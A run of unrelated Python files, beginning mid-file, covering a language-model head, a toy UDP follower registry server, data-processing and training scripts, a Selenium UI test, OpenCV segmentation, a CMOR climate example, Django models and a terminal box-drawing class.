        lm_logits = self.lm_head(hidden_states)
        outputs = (lm_logits,) + transformer_outputs[1:]

        if labels is not None:
            # Shift so that tokens < n predict n
            shift_logits = lm_logits[..., :-1, :].contiguous()
            shift_labels = labels[..., 1:].contiguous()
            # Flatten the tokens
            loss_fct = CrossEntropyLoss()
            loss = loss_fct(shift_logits.view(-1, shift_logits.size(-1)), shift_labels.view(-1))
            outputs = (loss,) + outputs

        return outputs  # (loss), lm_logits, presents, (all hidden_states), (attentions)

class ReformerLMHead(nn.Module):
    """ Language Model Head for the transformer """

    def __init__(self, model_embeddings_weights, config):
        super(ReformerLMHead, self).__init__()
        self.n_embd = config.n_embd
        self.set_embeddings_weights(model_embeddings_weights)

    def set_embeddings_weights(self, model_embeddings_weights):
        embed_shape = model_embeddings_weights.shape
        self.decoder = nn.Linear(embed_shape[1], embed_shape[0], bias=False)
        self.decoder.weight = model_embeddings_weights  # Tied weights

    def forward(self, hidden_state):
        # Truncated Language modeling logits (we remove the last token)
        # h_trunc = h[:, :-1].contiguous().view(-1, self.n_embd)
        lm_logits = self.decoder(hidden_state)
        return lm_logits


import socket
import sys

if(len(sys.argv) != 2):
    print("need port number")
    exit(0)

hostname = socket.gethostname()
UDP_IP = socket.gethostbyname(hostname)
UDP_PORT = int(sys.argv[1])

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("0.0.0.0", UDP_PORT))

print("server is running")

users = dict()
followers = dict()
follows = dict()

def register(inputs):
    # register @<handle> <IPv4-address> <port1> <port2> <port3>
    handle = inputs[1][1:]
    IP = inputs[2]
    port1 = inputs[3]
    port2 = inputs[4]
    port3 = inputs[5]

    if(handle in users):
        print("duplicate user " + handle)
        return ("FAILURE @" + handle + " is not registered").encode("utf-8")

    print("user" + handle + "registers" + IP + port1 + port2 + port3)

    users[handle] = list()
    followers[handle] = list()
    follows[handle] = list()

    users[handle].append(IP)
    users[handle].append(port1)
    users[handle].append(port2)
    users[handle].append(port3)

    for key in users:
        print(key, users[key])

    output = "SUCCESS @" + handle + " is registered"
    return output.encode("utf-8")
def query():
    # query handles
    # get number and list of all users
    output = "SUCCESS " + str(len(users)) + " "
    for key in users:
        output += key + " "

    return output.encode('utf-8')

def follow(input):
    # follow @<handle1> @<handle2>
    # add handle 1 to list of handle 2's followers and keep that list sorted
    # add handle 2 to lest of handle 1's follows
    handle1 = inputs[1][1:]
    handle2 = inputs[2][1:]

    if(handle1 == handle2):
        print("cannot follow itself")
        return ("FAILURE @" + handle1 + " could not follow itself").encode("utf-8")

    if(not handle2 in users):
        print("user @" + handle2 + " does not exist")
        return ("FAILURE @" + handle1 + " could not follow @" + handle2).encode("utf-8")

    for handle in followers[handle2]:
        if(handle == handle1):
            print(f"@{handle1} already follow @{handle2}")
            return (f"FAILURE already follows @{handle2}").encode("utf-8")

    followers[handle2].append(handle1)
    followers[handle2].sort()

    follows[handle1].append(handle2)

    output = "SUCCESS @" + handle1 + " followed @" + handle2
    return output.encode("utf-8")

def drop(input):
    # drop @<handle1> @<handle2>
    # remove handle 1 from handle 2's followers
    # remove handle 2 from handle 1's follows
    handle1 = inputs[1][1:]
    handle2 = inputs[2][1:]

    if(not handle2 in users):
        print(f"@{handle2} does not exist")
        return (f"FAILURE @{handle2} does not exist").encode("utf-8")

    found = False
    for handle in followers[handle2]:
        if (handle == handle1):
            found = True
            break

    if(not found):
        print(f"@{handle1} does not follow @{handle2}")
        return (f"FAILURE @{handle2} is not followed").encode("utf-8")

    followers[handle2].remove(handle1)
    follows[handle1].remove(handle2)

    output = "SUCCESS @" + handle1 + " unfollowed @" + handle2
    return output.encode("utf-8")

def exitUser(input):
    # exit @<handle>
    # remove user from any followers lists
    # remove user from users list, and remove user from follows and folllowers
    handle = inputs[1][1:]
    for f in follows[handle]:
        followers[f].remove(handle)

    for f in followers[handle]:
        follows[f].remove(handle)

    del followers[handle]
    del follows[handle]
    del users[handle]

    output = "@" + handle + " was removed"
    return output.encode("utf-8")

def followss():
    output = ""
    for key in followers:
        output += key + " " + str(followers[key])
    return output.encode("utf-8")

while True:
    msg, addr = sock.recvfrom(1024)  # buffer size is 1024 bytes
    msg = msg.decode("utf-8")
    print("received message: " + msg)
    inputs = msg.split()
    print(inputs[0])
    reply = b""

    # match message with correct input and build the reply message
    if inputs[0] == "register" and len(inputs) == 6:
        reply = register(inputs)

    elif inputs[0] == "query" and inputs[1] == "handles":
        reply = query()

    elif inputs[0] == "follow" and len(inputs) == 3:
        reply = follow(input)

    elif inputs[0] == "drop" and len(inputs) == 3:
        reply = drop(input)

    elif inputs[0] == "exit" and len(inputs) == 2:
        reply = exitUser(input)

    elif inputs[0] == "print":
        reply += query() + followss()

    else:
        reply = b"bad request"

    # send reply back
    sock.sendto(reply, (addr))


import numpy
import cPickle

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--top-unigram", type=str)
parser.add_argument("--src-w2i", type=str)
parser.add_argument("--trg-w2i", type=str)
parser.add_argument("--vocab-size", type=int)
parser.add_argument("--output", type=str)
args = parser.parse_args()

with open(args.src_w2i,'rb') as f:
    src_w2i = cPickle.load(f)
with open(args.trg_w2i,'rb') as f:
    trg_w2i = cPickle.load(f)
with open(args.top_unigram,'rb') as f:
    top_unigram = cPickle.load(f)

new_dict = {}

for old_key in top_unigram:
    if old_key == '<eps>': # Don't consider the empty string
        continue
    new_key = src_w2i[old_key] # Convert source word to its index
    if new_key >= args.vocab_size:
        continue
    old_value = top_unigram[old_key] # This is a list of words (with the most probable one first)
    new_value = [trg_w2i[elt] for elt in old_value if (trg_w2i[elt] < args.vocab_size)]
    if len(new_value) >= 1:
        new_dict[new_key] = new_value

with open(args.output,'wb') as f:
    cPickle.dump(new_dict, f, -1)


import argparse

from lib.features.user_history_cooc_features import create_cooc_stats_by_chunks
from lib.utils import read_data

parser = argparse.ArgumentParser()
parser.add_argument('--data')
parser.add_argument('--popularity_last_items', type=int)
parser.add_argument('--min_rank_diff', type=int)
parser.add_argument('--max_rank_diff', type=int)
parser.add_argument('--items_per_item', type=int)
parser.add_argument('--out')

if __name__ == '__main__':
    args = parser.parse_args()
    data = read_data(args.data)
    cooc_stats = create_cooc_stats_by_chunks(
        data,
        popularity_last_items=args.popularity_last_items,
        min_rank_diff=args.min_rank_diff or -args.max_rank_diff,
        max_rank_diff=args.max_rank_diff,
        items_per_item=args.items_per_item
    )
    cooc_stats.to_parquet(args.out)


from .._logger import logger
from ._notebook import Notebook

def check_consecutiveness(nb: Notebook, calling_statement: str = None) -> bool:
    """Check whether code cells have been executed consecutively.

    Needs to be called in the last code cell of a notebook.
    Otherwise raises `RuntimeError`.

    Returns cell transitions that violate execution at increments of 1 as a list
    of tuples.

    Args:
        nb: Notebook content.
        calling_statement: The statement that calls this function.
    """
    cells = nb.cells

    violations = []
    prev = 0

    ccount = 0  # need to initialize because notebook might note have code cells
    # and below, we check if ccount is None
    for cell in cells:
        if cell["cell_type"] != "code" or cell["source"] == []:
            continue

        if calling_statement is not None and calling_statement in "".join(
            cell["source"]
        ):
            continue

        ccount = cell["execution_count"]
        if ccount is None or prev is None or ccount - prev != 1:
            violations.append((prev, ccount))

        prev = ccount

    # ignore the very last code cell of the notebook
    # `check_consecutiveness` is being run during publish if `last_cell`` is True
    # hence, that cell has ccount is None
    if ccount is None:
        violations.pop()

    any_violations = len(violations) > 0
    if any_violations:
        logger.warning(f"Cells {violations} were not run consecutively.")
    else:
        logger.success("Cell numbers increase consecutively: Awesome!")

    return not any_violations


import xlsxwriter
import openpyxl

def createSheet(name, data):
    workbook = xlsxwriter.Workbook(name)
    worksheet = workbook.add_worksheet()
    cols = 0
    for i in data.keys():
        worksheet.write(0, cols, i[0].upper() + i[1:].replace('_',' ').lower())
        cols += 1
    try:
        workbook.close()
        return True
    except:
        print("Couldn't create xlsx file")

def appendSheet(sheetName, data, row=None):
    wb = openpyxl.load_workbook(sheetName)
    sheetList = wb.get_sheet_names()
    sheet = wb.get_sheet_by_name(sheetList[0])
    temp = sheet.max_row
    cols = 1
    for i in data:
        cell = sheet.cell(row=temp+1, column=cols)
        cell.value = data[i]
        cols += 1
    temp += 1
    wb.save(sheetName)


import time
from utils.selenium_utils import SeleniumUtils
from pages.search_common import SearchCommon
from utils.read_json_newhome import JsonReader
from pages.newHome.search_container import SearchContainer
from utils.test_utils import TestUtils
from pages.newHome.newhome_list_page import NewhomeListPage
import allure
import pytest
from workflow.newHome.search_check_results import CheckSearchResults

@pytest.mark.usefixtures("setup")
class TestSearchByPrice:
    testdata = JsonReader.get_filter_min_price_data()

    @allure.title("Newhome - search - filter - price range")
    @allure.description("verify: all returned house price must meet the filter 'price' ")
    @pytest.mark.parametrize("minPrice", testdata)
    def test_search_by_building_type(self, config, minPrice):
        if minPrice == "不限" or minPrice == "$100,000" or minPrice == "$200,000":
            return
        # 1 打开 新房首页
        search_container = SearchContainer(self.driver)
        search_container.open_home_page(config)
        search_common = SearchCommon(self.driver)
        search_common.close_modal()
        # 2 等待 mapbox fully loaded
        search_container.wait_mapbox_loaded()
        # 3 点击 价格 button， 显示所有价格后，把它们的页面元素放到 min_price_element_list 里面
        search_container.click_price_button()
        min_price_element_list = search_container.get_min_price_list()
        # 4 把所有的价格提取出来，放到 dropdown_list
        dropdown_list = TestUtils.get_text_list(min_price_element_list)
        # 5 如果 测试数据 minPrice 没有在 下拉框里，测试失败，打印错误价格，退出
        if minPrice not in dropdown_list:
            print("................test data Not in dropdown list: " + minPrice)
            assert False

        # 6 点击测试价格，作为起初价格 - min price
        TestUtils.click_filter(min_price_element_list, minPrice)

        # 7 最高价格显示后，把把它们的页面元素放到 max_price_element_list 里面
        max_price_element_list = search_container.get_max_price_list()
        # 8 提出最高价格 的第一个值 - integer 格式
        max_price_text = SeleniumUtils.get_text_by_element(max_price_element_list[1])
        max_price_int = TestUtils.get_price_int(max_price_text)
        # 9 把价格最低价转换成 Integer: i.e $1,000,000 to 1000000
        minPrice = TestUtils.get_price_int(minPrice)

        # 10 点击第二个值 （第一个为：不限）
        max_price_element_list[1].click()

        time.sleep(3)
        # 11 在搜索结果列表页，把所有房源的价格 的元素 放到 result_element_list
        list_page = NewhomeListPage(self.driver)
        result_element_list = list_page.get_price_list()
        # 12 验证 每个房源显示的价格范围 是否符合测试数据， 如果验证失败，跳出，并打印出房源地址
        check_result = CheckSearchResults(self.driver)
        error_counter = check_result.check_price(result_element_list, minPrice, max_price_int)

        assert error_counter == 0


import os
import pyrallis
import pytorch_lightning as pl

from pytorch_lightning.callbacks import LearningRateMonitor, ModelCheckpoint
from pytorch_lightning.loggers import WandbLogger

from definitions import CONFIGS_DIR
from src.training.dataset import Languages, MultiLanguageDataModule
from src.training.model import BertLangNER
from src.configs.config_classes import TrainConfig

@pyrallis.wrap(config_path=os.path.join(CONFIGS_DIR, "bert_config.yaml"))
def train(cfg: TrainConfig):
    pl.seed_everything(cfg.seed)

    n_classes = len(Languages)
    model = BertLangNER(cfg, n_classes)
    datamodule = MultiLanguageDataModule(cfg)

    logger = WandbLogger(project="text-lang-predictor", log_model=True)
    lr_logger = LearningRateMonitor()
    checkpoint_callback = ModelCheckpoint(
        filename="best",
        dirpath=logger.experiment.dir,
        save_top_k=1,
        save_last=False,
        verbose=True,
        monitor="val_f1",
        mode="max",
    )

    trainer = pl.Trainer(
        val_check_interval=cfg.training.val_interval,
        accumulate_grad_batches=cfg.training.accumulate_grad_batches,
        gpus=int(cfg.training.use_gpu),
        progress_bar_refresh_rate=1,
        log_every_n_steps=10,
        logger=logger,
        callbacks=[lr_logger, checkpoint_callback],
        deterministic=True,
        max_steps=cfg.training.n_steps,
    )

    trainer.fit(model, datamodule=datamodule)

if __name__ == "__main__":
    train()


from unittest import result
import cv2
import parametros as p
import numpy as np

def HSV_green_segmentation(img_og, img_hsv):
    mask = cv2.inRange(img_hsv, p.umbrales['HSVlow'], p.umbrales['HSVhigh'])
    result = cv2.bitwise_and(img_og, img_og, mask=mask)
    return result

def HSL_green_segmentation(img_og, img_hsl):
    A_low = (img_hsl >= p.umbrales['HLSlow']).all(axis = 2).astype(np.uint8)
    A_high = (img_hsl <= p.umbrales['HLShigh']).all(axis = 2).astype(np.uint8)
    mask = np.logical_and(A_low, A_high).astype(np.uint8)
    result = cv2.bitwise_and(img_og, img_og, mask=mask)
    return result

def RGB_green_segmentation(img_og, img_rgb):
    A_low = (img_rgb >= p.umbrales['RGBlow']).all(axis = 2).astype(np.uint8)
    A_high = (img_rgb <= p.umbrales['RGBhigh']).all(axis = 2).astype(np.uint8)
    mask = np.logical_and(A_low, A_high).astype(np.uint8)
    result = cv2.bitwise_and(img_og, img_og, mask=mask)
    return result

def HSV_with_opening(img, HSV):
    mask = cv2.inRange(HSV, p.umbrales['HSVlow'], p.umbrales['HSVhigh'])
    kernel1 = np.ones((3,3),np.uint8)
    kernel2 = np.ones((5,5),np.uint8)
    kernel3 = np.ones((7,7),np.uint8)
    opening1 = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel1)
    opening2 = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel2)
    opening3 = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel3)
    result1 = cv2.bitwise_and(img, img, mask=opening1)
    result2 = cv2.bitwise_and(img, img, mask=opening2)
    result3 = cv2.bitwise_and(img, img, mask=opening3)
    # cv2.imwrite('op1.png', result1)
    # cv2.imwrite('op2.png', result2)
    cv2.imwrite('op3.png', result3)

img = cv2.imread(p.imagenes['img3'])

# img_RGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
img_HSV = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
# img_HLS = cv2.cvtColor(img, cv2.COLOR_BGR2HLS)
HSV_with_opening(img, img_HSV)
# RGB = cv2.cvtColor(RGB_green_segmentation(img, img_RGB), cv2.COLOR_RGB2BGR)
# HSV = cv2.cvtColor(HSV_green_segmentation(img, img_HSV), cv2.COLOR_HSV2BGR)
# HSL = cv2.cvtColor(HSL_green_segmentation(img, img_HLS), cv2.COLOR_HLS2BGR)


from __future__ import print_function
import cmor
import numpy

ipth = "Test"
cmor.setup(inpath=ipth,
           set_verbosity=cmor.CMOR_NORMAL,
           netcdf_file_action=cmor.CMOR_REPLACE,
           logfile=None)

cmor.dataset(
    outpath=ipth,
    experiment_id="lgm",
    institution="PCMDI",
    source="PCMDI",
    calendar="standard",
    model_id="pcmdi-09a", forcing="forcing")

cmor.load_table("Tables/CMIP6_Omon.json")

nlat = 90
dlat = 180 / nlat
nlon = 180
dlon = 360. / nlon
nlev = 5

lats = numpy.arange(-90 + dlat / 2., 90, dlat)
blats = numpy.arange(-90, 90 + dlat, dlat)
lons = numpy.arange(0 + dlon / 2., 360., dlon)
blons = numpy.arange(0, 360. + dlon, dlon)

ntime = 12

data = numpy.random.random((ntime, nlat, nlev, nlon)) * 5 + 273.

itim = cmor.axis(
    table_entry='time', coord_vals=numpy.arange(
        0, ntime, 1), units='month since 2008', cell_bounds=numpy.arange(
            0, ntime + 1, 1))
ilat = cmor.axis(
    table_entry='latitude',
    coord_vals=lats,
    units='degrees_north',
    cell_bounds=blats)
ilon = cmor.axis(
    table_entry='longitude',
    coord_vals=lons,
    units='degrees_east',
    cell_bounds=blons)
ilev = cmor.axis(table_entry='depth_coord',
                 length=5,
                 cell_bounds=numpy.arange(-12000,
                                          0,
                                          2000),
                 coord_vals=numpy.arange(-10000,
                                         0,
                                         2000),
                 units="m")

iv = cmor.variable(
    table_entry='thetao', axis_ids=numpy.array(
        (itim, ilat, ilev, ilon)), units='K')

cmor.write(iv, data)

f1 = cmor.close(iv, file_name=True)
print(f1)


from django.db import models
from django.contrib.auth.models import Group
from django.contrib.auth.models import User

# Create your models here.
class Room(models.Model):
    admin = models.ForeignKey(
        to = User,
        editable=True,
        on_delete=models.CASCADE,
    )
    topic = models.CharField(
        max_length=100,
        blank=False,
        editable=False
    )
    name = models.CharField(max_length=120)
    description = models.TextField(blank=True, null=True)
    #participants
    created = models.DateTimeField(
        auto_now_add=True,
    )
    room_id = models.IntegerField(
        auto_created=True,
        primary_key=True,
        blank=False,
        null=False,
        unique=True,
        editable=False
    )

    def __str__(self) -> str:
        return self.name

class Messages(models.Model):
    user = models.ForeignKey(User, on_delete=models.DO_NOTHING)
    message = models.TextField()
    updated = models.DateTimeField(
        auto_now=True
    )
    created = models.DateTimeField(
        auto_now_add=True
    )
    room = models.ForeignKey(
        to =Room,
        on_delete=models.CASCADE,

    )

    def __str__(self) -> str:
        return self.message


"""Draw different boxes with ease."""
from .screen import Screen
from minesweeper.util.point import Point

SIDES = {
    "light": {"hor": "─", "ver": "│"},
    "bold": {"hor": "━", "ver": "┃"},
    "dashed": {"hor": "┄", "ver": "┆"},
    "dashedbold": {"hor": "┅", "ver": "┇"},
    "double": {"hor": "═", "ver": "║"},
}

CORNERS = {
    "light": {"tl": "┌", "tr": "┐", "bl": "└", "br": "┘"},
    "round": {"tl": "╭", "tr": "╮", "bl": "╰", "br": "╯"},
    "bold": {"tl": "┏", "tr": "┓", "bl": "┗", "br": "┛"},
    "double": {"tl": "╔", "tr": "╗", "bl": "╚", "br": "╝"},
}

screen = Screen()

class Box:
    """Box class to create boxes in terminal."""

    styles = {
        "sharp": ["light", "light"],
        "soft": ["light", "round"],
        "double": ["double", "double"],
        "dashed": ["dashed", "light"],
        "soft dashed": ["dashed", "round"],
        "bold dashed": ["dashed", "bold"],
    }

    def __init__(self, width, height, style="sharp", color=None):
        """Init box with width and height, one of N styles and color."""
        self.width, self.height = width, height
        self.style = style
        self.color = color

    @property
    def style(self):
        """Get current style."""
        return self.__style

    @style.setter
    def style(self, style):
        """Set one of N styles."""
        if style not in Box.styles:
            raise ValueError(f"Unknown Box style: {style}")
        self.__style = style
        sides, corners = Box.styles[style]
        self.sides = SIDES[sides]
        self.corners = CORNERS[corners]

    def draw(self, topleft=Point(0, 0)):
        """Draw the box at some coordinates."""
        topleft = Point(topleft)
        botleft = [0, self.height] + topleft
        botright = [self.width, self.height] + topleft
        topright = [self.width, 0] + topleft

        for x in range(1, self.width):
            screen.drawPixel([x, 0] + topleft, self.sides["hor"], self.color)
            screen.drawPixel([x, 0] + botleft, self.sides["hor"], self.color)
        for y in range(1, self.height):
            screen.drawPixel([0, y] + topleft, self.sides["ver"], self.color)
            screen.drawPixel([0, y] + topright, self.sides["ver"], self.color)
        screen.drawPixel(topleft, self.corners["tl"], self.color)
        screen.drawPixel(topright, self.corners["tr"], self.color)
        screen.drawPixel(botleft, self.corners["bl"], self.color)
        screen.drawPixel(botright, self.corners["br"], self.color)